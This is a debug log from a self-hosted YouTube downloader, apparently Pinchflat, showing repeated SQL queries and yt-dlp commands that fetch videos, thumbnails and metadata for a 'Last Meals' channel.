idle=336.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:32.399 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gbNeBNx8_Yk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/71/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/4e/6b/4e6b6ecaf58ec7d8b6cfdaeada8eb38517e3cd521e5f8367dfdd057675434238.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:13:35.097 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gbNeBNx8_Yk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/71/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/4e/6b/4e6b6ecaf58ec7d8b6cfdaeada8eb38517e3cd521e5f8367dfdd057675434238.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:13:35.097 [debug] QUERY OK db=0.0ms idle=1035.0ms begin [] 22:13:35.098 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:13:32Z], "/downloads/Last Meals/2024-12-05 Aaron Taylor-Johnson Eats His Last Meal/Aaron Taylor-Johnson Eats His Last Meal [gbNeBNx8_Yk].mp4", ~U[2026-03-28 02:13:35Z], 71] 22:13:35.098 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/71/metadata.json.gz", "/config/metadata/media_items/71/thumbnail.jpg", 71, ~U[2026-03-28 02:13:35Z], ~U[2026-03-28 02:13:35Z]] 22:13:35.098 [debug] QUERY OK db=0.0ms commit [] 22:13:35.111 [debug] QUERY OK source="media_items" db=0.9ms idle=1048.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [427245596, ~U[2026-03-28 02:13:35Z], 71] 22:13:35.111 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:13:35.111 [info] {"args":{"id":71},"id":76,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":130591115,"event":"job:stop","queue_time":4964520384,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:13:35.112 [debug] QUERY OK source="tasks" db=0.3ms idle=113.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:13:35.112 [debug] QUERY OK source="tasks" db=0.4ms idle=1049.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:13:35.112 [debug] QUERY OK source="media_items" db=0.1ms idle=14.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [72] 22:13:35.113 [debug] QUERY OK source="media_items" db=0.4ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [72] 22:13:35.117 [info] {"args":{"id":73},"id":78,"meta":{},"system_time":1774664015117779872,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:13:35.118 [debug] QUERY OK source="media_items" db=0.1ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [73] 22:13:35.118 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:13:35.118 [debug] QUERY OK source="tasks" db=0.7ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:13:35.118 [debug] QUERY OK source="tasks" db=0.9ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:13:35.119 [debug] QUERY OK source="sources" db=0.7ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:13:35.119 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [72, 73] 22:13:35.119 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:35.119 [debug] QUERY OK source="media_items" db=0.6ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [72, 73] 22:13:35.120 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [73] 22:13:35.120 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [73] 22:13:35.120 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:35.120 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:35.120 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:35.121 [debug] Running yt-dlp command for action: get_downloadable_status 22:13:35.121 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:35.121 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:35.121 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:35.121 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=L4p2gN2CzsA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e7/82/e7827ef04b749f2f60310e18af3a62b2b02f2246aaa50fe23535b42f44eacee8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:13:35.384 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GYgN7OuTfVU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/17/a7/17a750fea92ef09d33a62fe2da90a0360fae3332621a13b24b3b47db9748287c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:13:35.393 [debug] Running yt-dlp command for action: download_thumbnail 22:13:35.393 [debug] QUERY OK source="settings" db=0.0ms idle=272.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:35.393 [debug] QUERY OK source="settings" db=0.0ms idle=272.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:35.393 [debug] QUERY OK source="settings" db=0.0ms idle=272.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:35.393 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GYgN7OuTfVU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/72/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/fa/50/fa5024dc160cede83469507cfcbe94e1f254e3f11cf9e3eb063457b3f3795bc7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:13:37.790 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GYgN7OuTfVU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/72/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/fa/50/fa5024dc160cede83469507cfcbe94e1f254e3f11cf9e3eb063457b3f3795bc7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:13:37.791 [debug] QUERY OK db=0.0ms idle=788.9ms begin [] 22:13:37.791 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:13:35Z], "/downloads/Last Meals/2025-05-29 The Karate Kid's Ralph Macchio Eats His Last Meal/The Karate Kid's Ralph Macchio Eats His Last Meal [GYgN7OuTfVU].mp4", ~U[2026-03-28 02:13:37Z], 72] 22:13:37.791 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/72/metadata.json.gz", "/config/metadata/media_items/72/thumbnail.jpg", 72, ~U[2026-03-28 02:13:37Z], ~U[2026-03-28 02:13:37Z]] 22:13:37.791 [debug] QUERY OK db=0.0ms commit [] 22:13:37.792 [debug] QUERY OK source="media_items" db=0.4ms idle=729.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [282944775, ~U[2026-03-28 02:13:37Z], 72] 22:13:37.793 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:13:37.793 [info] {"args":{"id":72},"id":77,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":125756427,"event":"job:stop","queue_time":4971036385,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:13:37.793 [debug] QUERY OK source="tasks" db=0.3ms idle=730.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:13:37.793 [debug] QUERY OK source="tasks" db=0.3ms idle=730.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:13:37.793 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [73] 22:13:37.794 [debug] QUERY OK source="media_items" db=0.3ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [73] 22:13:37.798 [info] {"args":{"id":74},"id":79,"meta":{},"system_time":1774664017798622261,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:13:37.798 [debug] QUERY OK source="media_items" db=0.1ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [74] 22:13:37.798 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:13:37.799 [debug] QUERY OK source="tasks" db=0.3ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:13:37.799 [debug] QUERY OK source="tasks" db=0.4ms idle=4.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:13:37.799 [debug] QUERY OK source="sources" db=0.1ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:13:37.799 [debug] QUERY OK source="media_items" db=0.1ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [73, 74] 22:13:37.799 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:37.799 [debug] QUERY OK source="media_items" db=0.2ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [73, 74] 22:13:37.799 [debug] QUERY OK source="media_items" db=0.2ms idle=0.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [74] 22:13:37.800 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [74] 22:13:37.800 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 